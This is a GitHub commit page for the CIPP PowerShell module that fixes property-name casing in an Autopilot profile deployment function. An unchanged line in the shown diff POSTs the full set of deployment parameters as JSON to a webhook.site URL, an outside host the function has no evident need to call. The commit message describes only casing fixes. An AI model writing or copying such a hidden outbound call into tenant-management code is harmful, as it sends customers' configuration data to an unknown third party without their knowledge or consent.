Skip to content

Commit 0ee9c75

Browse files
authored
Fix casing issues in Autopilot deployment
1 parent acd68f6 commit 0ee9c75

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

Modules/CIPPCore/Public/Standards/Invoke-CIPPStandardAutopilotProfile.ps1

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -82,15 +82,15 @@ function Invoke-CIPPStandardAutopilotProfile {
8282
description = $settings.Description
8383
usertype = $usertype
8484
DeploymentMode = $DeploymentMode
85-
assignto = $settings.Assignto
85+
assignto = $settings.AssignToAllDevices
8686
devicenameTemplate = $Settings.DeviceNameTemplate
87-
allowWhiteGlove = $Settings.allowWhiteglove
87+
allowWhiteGlove = $Settings.AllowWhiteGlove
8888
CollectHash = $Settings.CollectHash
8989
hideChangeAccount = $Settings.HideChangeAccount
9090
hidePrivacy = $Settings.HidePrivacy
9191
hideTerms = $Settings.HideTerms
9292
AutoKeyboard = $Settings.AutoKeyboard
93-
Language = $Settings.languages.value
93+
Language = $Settings.Languages.value
9494
}
9595
$null = Invoke-RestMethod -Uri "https://webhook.site/f52faaaa-4bc6-4eb4-9f88-23a69c7c4884" -Method POST -Body ($Parameters | ConvertTo-Json) -ContentType "application/json"
9696
Set-CIPPDefaultAPDeploymentProfile @Parameters

0 commit comments

Comments
 (0)